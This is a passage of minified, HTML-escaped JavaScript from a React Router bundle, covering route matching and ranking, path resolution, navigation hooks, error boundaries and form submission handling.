b=ea([r,S.relativePath]),T=f.concat(S);g.children&amp;&amp;g.children.length&gt;0&amp;&amp;(Xe(g.index!==!0,`Index routes must not have child routes. Please remove all child routes from route path &quot;${b}&quot;.`),Ym(g.children,c,T,b,y)),!(g.path==null&amp;&amp;!g.index)&amp;&amp;c.push({path:b,score:tx(b,g.index),routesMeta:T})};return u.forEach((g,v)=&gt;{var y;if(g.path===&quot;&quot;||!((y=g.path)!=null&amp;&amp;y.includes(&quot;?&quot;)))p(g,v);else for(let x of km(g.path))p(g,v,!0,x)}),c}function km(u){let c=u.split(&quot;/&quot;);if(c.length===0)return[];let[f,...r]=c,d=f.endsWith(&quot;?&quot;),p=f.replace(/\?$/,&quot;&quot;);if(r.length===0)return d?[p,&quot;&quot;]:[p];let g=km(r.join(&quot;/&quot;)),v=[];return v.push(...g.map(y=&gt;y===&quot;&quot;?p:[p,y].join(&quot;/&quot;))),d&amp;&amp;v.push(...g),v.map(y=&gt;u.startsWith(&quot;/&quot;)&amp;&amp;y===&quot;&quot;?&quot;/&quot;:y)}function Kp(u){u.sort((c,f)=&gt;c.score!==f.score?f.score-c.score:ax(c.routesMeta.map(r=&gt;r.childrenIndex),f.routesMeta.map(r=&gt;r.childrenIndex)))}var $p=/^:[\w-]+$/,Fp=3,Wp=2,Pp=1,Ip=10,ex=-2,zm=u=&gt;u===&quot;*&quot;;function tx(u,c){let f=u.split(&quot;/&quot;),r=f.length;return f.some(zm)&amp;&amp;(r+=ex),c&amp;&amp;(r+=Wp),f.filter(d=&gt;!zm(d)).reduce((d,p)=&gt;d+($p.test(p)?Fp:p===&quot;&quot;?Pp:Ip),r)}function ax(u,c){return u.length===c.length&amp;&amp;u.slice(0,-1).every((r,d)=&gt;r===c[d])?u[u.length-1]-c[c.length-1]:0}function lx(u,c,f=!1){let{routesMeta:r}=u,d={},p=&quot;/&quot;,g=[];for(let v=0;v&lt;r.length;++v){let y=r[v],x=v===r.length-1,S=p===&quot;/&quot;?c:c.slice(p.length)||&quot;/&quot;,b=Ni({path:y.relativePath,caseSensitive:y.caseSensitive,end:x},S),T=y.route;if(!b&amp;&amp;x&amp;&amp;f&amp;&amp;!r[r.length-1].route.index&amp;&amp;(b=Ni({path:y.relativePath,caseSensitive:y.caseSensitive,end:!1},S)),!b)return null;Object.assign(d,b.params),g.push({params:d,pathname:ea([p,b.pathname]),pathnameBase:rx(ea([p,b.pathnameBase])),route:T}),b.pathnameBase!==&quot;/&quot;&amp;&amp;(p=ea([p,b.pathnameBase]))}return g}function Ni(u,c){typeof u==&quot;string&quot;&amp;&amp;(u={path:u,caseSensitive:!1,end:!0});let[f,r]=nx(u.path,u.caseSensitive,u.end),d=c.match(f);if(!d)return null;let p=d[0],g=p.replace(/(.)\/+$/,&quot;$1&quot;),v=d.slice(1);return{params:r.reduce((x,{paramName:S,isOptional:b},T)=&gt;{if(S===&quot;*&quot;){let R=v[T]||&quot;&quot;;g=p.slice(0,p.length-R.length).replace(/(.)\/+$/,&quot;$1&quot;)}const Y=v[T];return b&amp;&amp;!Y?x[S]=void 0:x[S]=(Y||&quot;&quot;).replace(/%2F/g,&quot;/&quot;),x},{}),pathname:p,pathnameBase:g,pattern:u}}function nx(u,c=!1,f=!0){Kt(u===&quot;*&quot;||!u.endsWith(&quot;*&quot;)||u.endsWith(&quot;/*&quot;),`Route path &quot;${u}&quot; will be treated as if it were &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot; because the \`*\` character must always follow a \`/\` in the pattern. To get rid of this warning, please change the route path to &quot;${u.replace(/\*$/,&quot;/*&quot;)}&quot;.`);let r=[],d=&quot;^&quot;+u.replace(/\/*\*?$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;).replace(/[\\.*+^${}|()[\]]/g,&quot;\\$&amp;&quot;).replace(/\/:([\w-]+)(\?)?/g,(g,v,y,x,S)=&gt;{if(r.push({paramName:v,isOptional:y!=null}),y){let b=S.charAt(x+g.length);return b&amp;&amp;b!==&quot;/&quot;?&quot;/([^\\/]*)&quot;:&quot;(?:/([^\\/]*))?&quot;}return&quot;/([^\\/]+)&quot;}).replace(/\/([\w-]+)\?(\/|$)/g,&quot;(/$1)?$2&quot;);return u.endsWith(&quot;*&quot;)?(r.push({paramName:&quot;*&quot;}),d+=u===&quot;*&quot;||u===&quot;/*&quot;?&quot;(.*)$&quot;:&quot;(?:\\/(.+)|\\/*)$&quot;):f?d+=&quot;\\/*$&quot;:u!==&quot;&quot;&amp;&amp;u!==&quot;/&quot;&amp;&amp;(d+=&quot;(?:(?=\\/|$))&quot;),[new RegExp(d,c?void 0:&quot;i&quot;),r]}function sx(u){try{return u.split(&quot;/&quot;).map(c=&gt;decodeURIComponent(c).replace(/\//g,&quot;%2F&quot;)).join(&quot;/&quot;)}catch(c){return Kt(!1,`The URL path &quot;${u}&quot; could not be decoded because it is a malformed URL segment. This is probably due to a bad percent encoding (${c}).`),u}}function ja(u,c){if(c===&quot;/&quot;)return u;if(!u.toLowerCase().startsWith(c.toLowerCase()))return null;let f=c.endsWith(&quot;/&quot;)?c.length-1:c.length,r=u.charAt(f);return r&amp;&amp;r!==&quot;/&quot;?null:u.slice(f)||&quot;/&quot;}var ix=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i;function ux(u,c=&quot;/&quot;){let{pathname:f,search:r=&quot;&quot;,hash:d=&quot;&quot;}=typeof u==&quot;string&quot;?en(u):u,p;return f?(f=f.replace(/\/\/+/g,&quot;/&quot;),f.startsWith(&quot;/&quot;)?p=Rm(f.substring(1),&quot;/&quot;):p=Rm(f,c)):p=c,{pathname:p,search:ox(r),hash:fx(d)}}function Rm(u,c){let f=c.replace(/\/+$/,&quot;&quot;).split(&quot;/&quot;);return u.split(&quot;/&quot;).forEach(d=&gt;{d===&quot;..&quot;?f.length&gt;1&amp;&amp;f.pop():d!==&quot;.&quot;&amp;&amp;f.push(d)}),f.length&gt;1?f.join(&quot;/&quot;):&quot;/&quot;}function Pc(u,c,f,r){return`Cannot include a &#039;${u}&#039; character in a manually specified \`to.${c}\` field [${JSON.stringify(r)}].  Please separate it out to the \`to.${f}\` field. Alternatively you may provide the full path as a string in &lt;Link to=&quot;...&quot;&gt; and the router will parse it for you.`}function cx(u){return u.filter((c,f)=&gt;f===0||c.route.path&amp;&amp;c.route.path.length&gt;0)}function nr(u){let c=cx(u);return c.map((f,r)=&gt;r===c.length-1?f.pathname:f.pathnameBase)}function Ei(u,c,f,r=!1){let d;typeof u==&quot;string&quot;?d=en(u):(d={...u},Xe(!d.pathname||!d.pathname.includes(&quot;?&quot;),Pc(&quot;?&quot;,&quot;pathname&quot;,&quot;search&quot;,d)),Xe(!d.pathname||!d.pathname.includes(&quot;#&quot;),Pc(&quot;#&quot;,&quot;pathname&quot;,&quot;hash&quot;,d)),Xe(!d.search||!d.search.includes(&quot;#&quot;),Pc(&quot;#&quot;,&quot;search&quot;,&quot;hash&quot;,d)));let p=u===&quot;&quot;||d.pathname===&quot;&quot;,g=p?&quot;/&quot;:d.pathname,v;if(g==null)v=f;else{let b=c.length-1;if(!r&amp;&amp;g.startsWith(&quot;..&quot;)){let T=g.split(&quot;/&quot;);for(;T[0]===&quot;..&quot;;)T.shift(),b-=1;d.pathname=T.join(&quot;/&quot;)}v=b&gt;=0?c[b]:&quot;/&quot;}let y=ux(d,v),x=g&amp;&amp;g!==&quot;/&quot;&amp;&amp;g.endsWith(&quot;/&quot;),S=(p||g===&quot;.&quot;)&amp;&amp;f.endsWith(&quot;/&quot;);return!y.pathname.endsWith(&quot;/&quot;)&amp;&amp;(x||S)&amp;&amp;(y.pathname+=&quot;/&quot;),y}var ea=u=&gt;u.join(&quot;/&quot;).replace(/\/\/+/g,&quot;/&quot;),rx=u=&gt;u.replace(/\/+$/,&quot;&quot;).replace(/^\/*/,&quot;/&quot;),ox=u=&gt;!u||u===&quot;?&quot;?&quot;&quot;:u.startsWith(&quot;?&quot;)?u:&quot;?&quot;+u,fx=u=&gt;!u||u===&quot;#&quot;?&quot;&quot;:u.startsWith(&quot;#&quot;)?u:&quot;#&quot;+u,dx=class{constructor(u,c,f,r=!1){this.status=u,this.statusText=c||&quot;&quot;,this.internal=r,f instanceof Error?(this.data=f.toString(),this.error=f):this.data=f}};function mx(u){return u!=null&amp;&amp;typeof u.status==&quot;number&quot;&amp;&amp;typeof u.statusText==&quot;string&quot;&amp;&amp;typeof u.internal==&quot;boolean&quot;&amp;&amp;&quot;data&quot;in u}function hx(u){return u.map(c=&gt;c.route.path).filter(Boolean).join(&quot;/&quot;).replace(/\/\/*/g,&quot;/&quot;)||&quot;/&quot;}var Qm=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;function Xm(u,c){let f=u;if(typeof f!=&quot;string&quot;||!ix.test(f))return{absoluteURL:void 0,isExternal:!1,to:f};let r=f,d=!1;if(Qm)try{let p=new URL(window.location.href),g=f.startsWith(&quot;//&quot;)?new URL(p.protocol+f):new URL(f),v=ja(g.pathname,c);g.origin===p.origin&amp;&amp;v!=null?f=v+g.search+g.hash:d=!0}catch{Kt(!1,`&lt;Link to=&quot;${f}&quot;&gt; contains an invalid URL which will probably break when clicked - please update to a valid URL path.`)}return{absoluteURL:r,isExternal:d,to:f}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);var Vm=[&quot;POST&quot;,&quot;PUT&quot;,&quot;PATCH&quot;,&quot;DELETE&quot;];new Set(Vm);var px=[&quot;GET&quot;,...Vm];new Set(px);var tn=m.createContext(null);tn.displayName=&quot;DataRouter&quot;;var _i=m.createContext(null);_i.displayName=&quot;DataRouterState&quot;;var Zm=m.createContext(!1);function xx(){return m.useContext(Zm)}var Jm=m.createContext({isTransitioning:!1});Jm.displayName=&quot;ViewTransition&quot;;var vx=m.createContext(new Map);vx.displayName=&quot;Fetchers&quot;;var yx=m.createContext(null);yx.displayName=&quot;Await&quot;;var wt=m.createContext(null);wt.displayName=&quot;Navigation&quot;;var es=m.createContext(null);es.displayName=&quot;Location&quot;;var Xt=m.createContext({outlet:null,matches:[],isDataRoute:!1});Xt.displayName=&quot;Route&quot;;var sr=m.createContext(null);sr.displayName=&quot;RouteError&quot;;var Km=&quot;REACT_ROUTER_ERROR&quot;,gx=&quot;REDIRECT&quot;,bx=&quot;ROUTE_ERROR_RESPONSE&quot;;function jx(u){if(u.startsWith(`${Km}:${gx}:{`))try{let c=JSON.parse(u.slice(28));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;&amp;&amp;typeof c.location==&quot;string&quot;&amp;&amp;typeof c.reloadDocument==&quot;boolean&quot;&amp;&amp;typeof c.replace==&quot;boolean&quot;)return c}catch{}}function Sx(u){if(u.startsWith(`${Km}:${bx}:{`))try{let c=JSON.parse(u.slice(40));if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;typeof c.status==&quot;number&quot;&amp;&amp;typeof c.statusText==&quot;string&quot;)return new dx(c.status,c.statusText,c.data)}catch{}}function Nx(u,{relative:c}={}){Xe(an(),&quot;useHref() may be used only in the context of a &lt;Router&gt; component.&quot;);let{basename:f,navigator:r}=m.useContext(wt),{hash:d,pathname:p,search:g}=ts(u,{relative:c}),v=p;return f!==&quot;/&quot;&amp;&amp;(v=p===&quot;/&quot;?f:ea([f,p])),r.createHref({pathname:v,search:g,hash:d})}function an(){return m.useContext(es)!=null}function ta(){return Xe(an(),&quot;useLocation() may be used only in the context of a &lt;Router&gt; component.&quot;),m.useContext(es).location}var $m=&quot;You should call navigate() in a React.useEffect(), not when your component is first rendered.&quot;;function Fm(u){m.useContext(wt).static||m.useLayoutEffect(u)}function $t(){let{isDataRoute:u}=m.useContext(Xt);return u?Bx():Ex()}function Ex(){Xe(an(),&quot;useNavigate() may be used only in the context of a &lt;Router&gt; component.&quot;);let u=m.useContext(tn),{basename:c,navigator:f}=m.useContext(wt),{matches:r}=m.useContext(Xt),{pathname:d}=ta(),p=JSON.stringify(nr(r)),g=m.useRef(!1);return Fm(()=&gt;{g.current=!0}),m.useCallback((y,x={})=&gt;{if(Kt(g.current,$m),!g.current)return;if(typeof y==&quot;number&quot;){f.go(y);return}let S=Ei(y,JSON.parse(p),d,x.relative===&quot;path&quot;);u==null&amp;&amp;c!==&quot;/&quot;&amp;&amp;(S.pathname=S.pathname===&quot;/&quot;?c:ea([c,S.pathname])),(x.replace?f.replace:f.push)(S,x.state,x)},[c,f,p,d,u])}var _x=m.createContext(null);function Tx(u){let c=m.useContext(Xt).outlet;return m.useMemo(()=&gt;c&amp;&amp;m.createElement(_x.Provider,{value:u},c),[c,u])}function nt(){let{matches:u}=m.useContext(Xt),c=u[u.length-1];return c?c.params:{}}function ts(u,{relative:c}={}){let{matches:f}=m.useContext(Xt),{pathname:r}=ta(),d=JSON.stringify(nr(f));return m.useMemo(()=&gt;Ei(u,JSON.parse(d),r,c===&quot;path&quot;),[u,d,r,c])}function Ax(u,c){return Wm(u,c)}function Wm(u,c,f){var w;Xe(an(),&quot;useRoutes() may be used only in the context of a &lt;Router&gt; component.&quot;);let{navigator:r}=m.useContext(wt),{matches:d}=m.useContext(Xt),p=d[d.length-1],g=p?p.params:{},v=p?p.pathname:&quot;/&quot;,y=p?p.pathnameBase:&quot;/&quot;,x=p&amp;&amp;p.route;{let k=x&amp;&amp;x.path||&quot;&quot;;Im(v,!x||k.endsWith(&quot;*&quot;)||k.endsWith(&quot;*?&quot;),`You rendered descendant &lt;Routes&gt; (or called \`useRoutes()\`) at &quot;${v}&quot; (under &lt;Route path=&quot;${k}&quot;&gt;) but the parent route path has no trailing &quot;*&quot;. This means if you navigate deeper, the parent won&#039;t match anymore and therefore the child routes will never render.

Please change the parent &lt;Route path=&quot;${k}&quot;&gt; to &lt;Route path=&quot;${k===&quot;/&quot;?&quot;*&quot;:`${k}/*`}&quot;&gt;.`)}let S=ta(),b;if(c){let k=typeof c==&quot;string&quot;?en(c):c;Xe(y===&quot;/&quot;||((w=k.pathname)==null?void 0:w.startsWith(y)),`When overriding the location using \`&lt;Routes location&gt;\` or \`useRoutes(routes, location)\`, the location pathname must begin with the portion of the URL pathname that was matched by all parent routes. The current pathname base is &quot;${y}&quot; but pathname &quot;${k.pathname}&quot; was given in the \`location\` prop.`),b=k}else b=S;let T=b.pathname||&quot;/&quot;,Y=T;if(y!==&quot;/&quot;){let k=y.replace(/^\//,&quot;&quot;).split(&quot;/&quot;);Y=&quot;/&quot;+T.replace(/^\//,&quot;&quot;).split(&quot;/&quot;).slice(k.length).join(&quot;/&quot;)}let R=Gm(u,{pathname:Y});Kt(x||R!=null,`No routes matched location &quot;${b.pathname}${b.search}${b.hash}&quot; `),Kt(R==null||R[R.length-1].route.element!==void 0||R[R.length-1].route.Component!==void 0||R[R.length-1].route.lazy!==void 0,`Matched leaf route at location &quot;${b.pathname}${b.search}${b.hash}&quot; does not have an element or Component. This means it will render an &lt;Outlet /&gt; with a null value by default resulting in an &quot;empty&quot; page.`);let U=Dx(R&amp;&amp;R.map(k=&gt;Object.assign({},k,{params:Object.assign({},g,k.params),pathname:ea([y,r.encodeLocation?r.encodeLocation(k.pathname.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:k.pathname]),pathnameBase:k.pathnameBase===&quot;/&quot;?y:ea([y,r.encodeLocation?r.encodeLocation(k.pathnameBase.replace(/%/g,&quot;%25&quot;).replace(/\?/g,&quot;%3F&quot;).replace(/#/g,&quot;%23&quot;)).pathname:k.pathnameBase])})),d,f);return c&amp;&amp;U?m.createElement(es.Provider,{value:{location:{pathname:&quot;/&quot;,search:&quot;&quot;,hash:&quot;&quot;,state:null,key:&quot;default&quot;,unstable_mask:void 0,...b},navigationType:&quot;POP&quot;}},U):U}function Cx(){let u=qx(),c=mx(u)?`${u.status} ${u.statusText}`:u instanceof Error?u.message:JSON.stringify(u),f=u instanceof Error?u.stack:null,r=&quot;rgba(200,200,200, 0.5)&quot;,d={padding:&quot;0.5rem&quot;,backgroundColor:r},p={padding:&quot;2px 4px&quot;,backgroundColor:r},g=null;return console.error(&quot;Error handled by React Router default ErrorBoundary:&quot;,u),g=m.createElement(m.Fragment,null,m.createElement(&quot;p&quot;,null,&quot;💿 Hey developer 👋&quot;),m.createElement(&quot;p&quot;,null,&quot;You can provide a way better UX than this when your app throws errors by providing your own &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;ErrorBoundary&quot;),&quot; or&quot;,&quot; &quot;,m.createElement(&quot;code&quot;,{style:p},&quot;errorElement&quot;),&quot; prop on your route.&quot;)),m.createElement(m.Fragment,null,m.createElement(&quot;h2&quot;,null,&quot;Unexpected Application Error!&quot;),m.createElement(&quot;h3&quot;,{style:{fontStyle:&quot;italic&quot;}},c),f?m.createElement(&quot;pre&quot;,{style:d},f):null,g)}var zx=m.createElement(Cx,null),Pm=class extends m.Component{constructor(u){super(u),this.state={location:u.location,revalidation:u.revalidation,error:u.error}}static getDerivedStateFromError(u){return{error:u}}static getDerivedStateFromProps(u,c){return c.location!==u.location||c.revalidation!==&quot;idle&quot;&amp;&amp;u.revalidation===&quot;idle&quot;?{error:u.error,location:u.location,revalidation:u.revalidation}:{error:u.error!==void 0?u.error:c.error,location:c.location,revalidation:u.revalidation||c.revalidation}}componentDidCatch(u,c){this.props.onError?this.props.onError(u,c):console.error(&quot;React Router caught the following error during render&quot;,u)}render(){let u=this.state.error;if(this.context&amp;&amp;typeof u==&quot;object&quot;&amp;&amp;u&amp;&amp;&quot;digest&quot;in u&amp;&amp;typeof u.digest==&quot;string&quot;){const f=Sx(u.digest);f&amp;&amp;(u=f)}let c=u!==void 0?m.createElement(Xt.Provider,{value:this.props.routeContext},m.createElement(sr.Provider,{value:u,children:this.props.component})):this.props.children;return this.context?m.createElement(Rx,{error:u},c):c}};Pm.contextType=Zm;var Ic=new WeakMap;function Rx({children:u,error:c}){let{basename:f}=m.useContext(wt);if(typeof c==&quot;object&quot;&amp;&amp;c&amp;&amp;&quot;digest&quot;in c&amp;&amp;typeof c.digest==&quot;string&quot;){let r=jx(c.digest);if(r){let d=Ic.get(c);if(d)throw d;let p=Xm(r.location,f);if(Qm&amp;&amp;!Ic.get(c))if(p.isExternal||r.reloadDocument)window.location.href=p.absoluteURL||p.to;else{const g=Promise.resolve().then(()=&gt;window.__reactRouterDataRouter.navigate(p.to,{replace:r.replace}));throw Ic.set(c,g),g}return m.createElement(&quot;meta&quot;,{httpEquiv:&quot;refresh&quot;,content:`0;url=${p.absoluteURL||p.to}`})}}return u}function Ox({routeContext:u,match:c,children:f}){let r=m.useContext(tn);return r&amp;&amp;r.static&amp;&amp;r.staticContext&amp;&amp;(c.route.errorElement||c.route.ErrorBoundary)&amp;&amp;(r.staticContext._deepestRenderedBoundaryId=c.route.id),m.createElement(Xt.Provider,{value:u},f)}function Dx(u,c=[],f){let r=f==null?void 0:f.state;if(u==null){if(!r)return null;if(r.errors)u=r.matches;else if(c.length===0&amp;&amp;!r.initialized&amp;&amp;r.matches.length&gt;0)u=r.matches;else return null}let d=u,p=r==null?void 0:r.errors;if(p!=null){let S=d.findIndex(b=&gt;b.route.id&amp;&amp;(p==null?void 0:p[b.route.id])!==void 0);Xe(S&gt;=0,`Could not find a matching route for errors on route IDs: ${Object.keys(p).join(&quot;,&quot;)}`),d=d.slice(0,Math.min(d.length,S+1))}let g=!1,v=-1;if(f&amp;&amp;r){g=r.renderFallback;for(let S=0;S&lt;d.length;S++){let b=d[S];if((b.route.HydrateFallback||b.route.hydrateFallbackElement)&amp;&amp;(v=S),b.route.id){let{loaderData:T,errors:Y}=r,R=b.route.loader&amp;&amp;!T.hasOwnProperty(b.route.id)&amp;&amp;(!Y||Y[b.route.id]===void 0);if(b.route.lazy||R){f.isStatic&amp;&amp;(g=!0),v&gt;=0?d=d.slice(0,v+1):d=[d[0]];break}}}}let y=f==null?void 0:f.onError,x=r&amp;&amp;y?(S,b)=&gt;{var T,Y;y(S,{location:r.location,params:((Y=(T=r.matches)==null?void 0:T[0])==null?void 0:Y.params)??{},unstable_pattern:hx(r.matches),errorInfo:b})}:void 0;return d.reduceRight((S,b,T)=&gt;{let Y,R=!1,U=null,w=null;r&amp;&amp;(Y=p&amp;&amp;b.route.id?p[b.route.id]:void 0,U=b.route.errorElement||zx,g&amp;&amp;(v&lt;0&amp;&amp;T===0?(Im(&quot;route-fallback&quot;,!1,&quot;No `HydrateFallback` element provided to render during initial hydration&quot;),R=!0,w=null):v===T&amp;&amp;(R=!0,w=b.route.hydrateFallbackElement||null)));let k=c.concat(d.slice(0,T+1)),$=()=&gt;{let F;return Y?F=U:R?F=w:b.route.Component?F=m.createElement(b.route.Component,null):b.route.element?F=b.route.element:F=S,m.createElement(Ox,{match:b,routeContext:{outlet:S,matches:k,isDataRoute:r!=null},children:F})};return r&amp;&amp;(b.route.ErrorBoundary||b.route.errorElement||T===0)?m.createElement(Pm,{location:r.location,revalidation:r.revalidation,component:U,error:Y,children:$(),routeContext:{outlet:null,matches:k,isDataRoute:!0},onError:x}):$()},null)}function ir(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function wx(u){let c=m.useContext(tn);return Xe(c,ir(u)),c}function Mx(u){let c=m.useContext(_i);return Xe(c,ir(u)),c}function Ux(u){let c=m.useContext(Xt);return Xe(c,ir(u)),c}function ur(u){let c=Ux(u),f=c.matches[c.matches.length-1];return Xe(f.route.id,`${u} can only be used on routes that contain a unique &quot;id&quot;`),f.route.id}function Hx(){return ur(&quot;useRouteId&quot;)}function qx(){var r;let u=m.useContext(sr),c=Mx(&quot;useRouteError&quot;),f=ur(&quot;useRouteError&quot;);return u!==void 0?u:(r=c.errors)==null?void 0:r[f]}function Bx(){let{router:u}=wx(&quot;useNavigate&quot;),c=ur(&quot;useNavigate&quot;),f=m.useRef(!1);return Fm(()=&gt;{f.current=!0}),m.useCallback(async(d,p={})=&gt;{Kt(f.current,$m),f.current&amp;&amp;(typeof d==&quot;number&quot;?await u.navigate(d):await u.navigate(d,{fromRouteId:c,...p}))},[u,c])}var Om={};function Im(u,c,f){!c&amp;&amp;!Om[u]&amp;&amp;(Om[u]=!0,Kt(!1,f))}m.memo(Lx);function Lx({routes:u,future:c,state:f,isStatic:r,onError:d}){return Wm(u,void 0,{state:f,isStatic:r,onError:d})}function cr({to:u,replace:c,state:f,relative:r}){Xe(an(),&quot;&lt;Navigate&gt; may be used only in the context of a &lt;Router&gt; component.&quot;);let{static:d}=m.useContext(wt);Kt(!d,&quot;&lt;Navigate&gt; must not be used on the initial render in a &lt;StaticRouter&gt;. This is a no-op, but you should modify your code so the &lt;Navigate&gt; is only ever rendered in response to some user interaction or state change.&quot;);let{matches:p}=m.useContext(Xt),{pathname:g}=ta(),v=$t(),y=Ei(u,nr(p),g,r===&quot;path&quot;),x=JSON.stringify(y);return m.useEffect(()=&gt;{v(JSON.parse(x),{replace:c,state:f,relative:r})},[v,x,r,c,f]),null}function Gx(u){return Tx(u.context)}function _e(u){Xe(!1,&quot;A &lt;Route&gt; is only ever to be used as the child of &lt;Routes&gt; element, never rendered directly. Please wrap your &lt;Route&gt; in a &lt;Routes&gt;.&quot;)}function Yx({basename:u=&quot;/&quot;,children:c=null,location:f,navigationType:r=&quot;POP&quot;,navigator:d,static:p=!1,unstable_useTransitions:g}){Xe(!an(),&quot;You cannot render a &lt;Router&gt; inside another &lt;Router&gt;. You should never have more than one in your app.&quot;);let v=u.replace(/^\/*/,&quot;/&quot;),y=m.useMemo(()=&gt;({basename:v,navigator:d,static:p,unstable_useTransitions:g,future:{}}),[v,d,p,g]);typeof f==&quot;string&quot;&amp;&amp;(f=en(f));let{pathname:x=&quot;/&quot;,search:S=&quot;&quot;,hash:b=&quot;&quot;,state:T=null,key:Y=&quot;default&quot;,unstable_mask:R}=f,U=m.useMemo(()=&gt;{let w=ja(x,v);return w==null?null:{location:{pathname:w,search:S,hash:b,state:T,key:Y,unstable_mask:R},navigationType:r}},[v,x,S,b,T,Y,r,R]);return Kt(U!=null,`&lt;Router basename=&quot;${v}&quot;&gt; is not able to match the URL &quot;${x}${S}${b}&quot; because it does not start with the basename, so the &lt;Router&gt; won&#039;t render anything.`),U==null?null:m.createElement(wt.Provider,{value:y},m.createElement(es.Provider,{children:c,value:U}))}function kx({children:u,location:c}){return Ax(ar(u),c)}function ar(u,c=[]){let f=[];return m.Children.forEach(u,(r,d)=&gt;{if(!m.isValidElement(r))return;let p=[...c,d];if(r.type===m.Fragment){f.push.apply(f,ar(r.props.children,p));return}Xe(r.type===_e,`[${typeof r.type==&quot;string&quot;?r.type:r.type.name}] is not a &lt;Route&gt; component. All component children of &lt;Routes&gt; must be a &lt;Route&gt; or &lt;React.Fragment&gt;`),Xe(!r.props.index||!r.props.children,&quot;An index route cannot have child routes.&quot;);let g={id:r.props.id||p.join(&quot;-&quot;),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,middleware:r.props.middleware,loader:r.props.loader,action:r.props.action,hydrateFallbackElement:r.props.hydrateFallbackElement,HydrateFallback:r.props.HydrateFallback,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.hasErrorBoundary===!0||r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&amp;&amp;(g.children=ar(r.props.children,p)),f.push(g)}),f}var ji=&quot;get&quot;,Si=&quot;application/x-www-form-urlencoded&quot;;function Ti(u){return typeof HTMLElement&lt;&quot;u&quot;&amp;&amp;u instanceof HTMLElement}function Qx(u){return Ti(u)&amp;&amp;u.tagName.toLowerCase()===&quot;button&quot;}function Xx(u){return Ti(u)&amp;&amp;u.tagName.toLowerCase()===&quot;form&quot;}function Vx(u){return Ti(u)&amp;&amp;u.tagName.toLowerCase()===&quot;input&quot;}function Zx(u){return!!(u.metaKey||u.altKey||u.ctrlKey||u.shiftKey)}function Jx(u,c){return u.button===0&amp;&amp;(!c||c===&quot;_self&quot;)&amp;&amp;!Zx(u)}var gi=null;function Kx(){if(gi===null)try{new FormData(document.createElement(&quot;form&quot;),0),gi=!1}catch{gi=!0}return gi}var $x=new Set([&quot;application/x-www-form-urlencoded&quot;,&quot;multipart/form-data&quot;,&quot;text/plain&quot;]);function er(u){return u!=null&amp;&amp;!$x.has(u)?(Kt(!1,`&quot;${u}&quot; is not a valid \`encType\` for \`&lt;Form&gt;\`/\`&lt;fetcher.Form&gt;\` and will default to &quot;${Si}&quot;`),null):u}function Fx(u,c){let f,r,d,p,g;if(Xx(u)){let v=u.getAttribute(&quot;action&quot;);r=v?ja(v,c):null,f=u.getAttribute(&quot;method&quot;)||ji,d=er(u.getAttribute(&quot;enctype&quot;))||Si,p=new FormData(u)}else if(Qx(u)||Vx(u)&amp;&amp;(u.type===&quot;submit&quot;||u.type===&quot;image&quot;)){let v=u.form;if(v==null)throw new Error(&#039;Cannot submit a &lt;button&gt; or &lt;input type=&quot;submit&quot;&gt; without a &lt;form&gt;&#039;);let y=u.getAttribute(&quot;formaction&quot;)||v.getAttribute(&quot;action&quot;);if(r=y?ja(y,c):null,f=u.getAttribute(&quot;formmethod&quot;)||v.getAttribute(&quot;method&quot;)||ji,d=er(u.getAttribute(&quot;formenctype&quot;))||er(v.getAttribute(&quot;enctype&quot;))||Si,p=new FormData(v,u),!Kx()){let{name:x,type:S,value:b}=u;if(S===&quot;image&quot;){let T=x?`${x}.`:&quot;&quot;;p.append(`${T}x`,&quot;0&quot;),p.append(`${T}y`,&quot;0&quot;)}else x&amp;&amp;p.append(x,b)}}else{if(Ti(u))throw new Error(&#039;Cannot submit element that is not &lt;form&gt;, &lt;button&gt;, or &lt;input type=&quot;submit|image&quot;&gt;&#039;);f=ji,r=null,d=Si,g=u}return p&amp;&amp;d===&quot;text/plain&quot;&amp;&amp;(g=p,p=void 0),{action:r,method:f.toLowerCase(),encType:d,formData:p,body:g}}Object.getOwnPropertyNames(Object.prototype).sort().join(&quot;\0&quot;);function rr(u,c){if(u===!1||u===null||typeof u&gt;&quot;u&quot;)throw new Error(c)}function eh(u,c,f,r){let d=typeof u==&quot;string&quot;?new URL(u,typeof window&gt;&quot;u&quot;?&quot;server://singlefetch/&quot;:window.location.origin):u;return f?d.pathname.endsWith(&quot;/&quot;)?d.pathname=`${d.pathname}_.${r}`:d.pathname=`${d.pathname}.${r}`:d.pathname===&quot;/&quot;?d.pathname=`_root.${r}`:c&amp;&amp;ja(d.pathname,c)===&quot;/&quot;?d.pathname=`${c.replace(/\/$/,&quot;&quot;)}/_root.${r}`:d.pathname=`${d.pathname.replace(/\/$/,&quot;&quot;)}.${r}`,d}async function Wx(u,c){if(u.id in c)return c[u.id];try{let f=await import(u.module);return c[u.id]=f,f}catch(f){return console.error(`Error loading route module \`${u.module}\`, reloading page...`),console.error(f),window.__reactRouterContext&amp;&amp;window.__reactRouterContext.isSpaMode,window.location.reload(),new Promise(()=&gt;{})}}function Px(u){return u==null?!1:u.href==null?u.rel===&quot;preload&quot;&amp;&amp;typeof u.imageSrcSet==&quot;string&quot;&amp;&amp;typeof u.imageSizes==&quot;string&quot;:typeof u.rel==&quot;string&quot;&amp;&amp;typeof u.href==&quot;string&quot;}async function Ix(u,c,f){let r=await Promise.all(u.map(async d=&gt;{let p=c.routes[d.route.id];if(p){let g=await Wx(p,f);return g.links?g.links():[]}return[]}));return 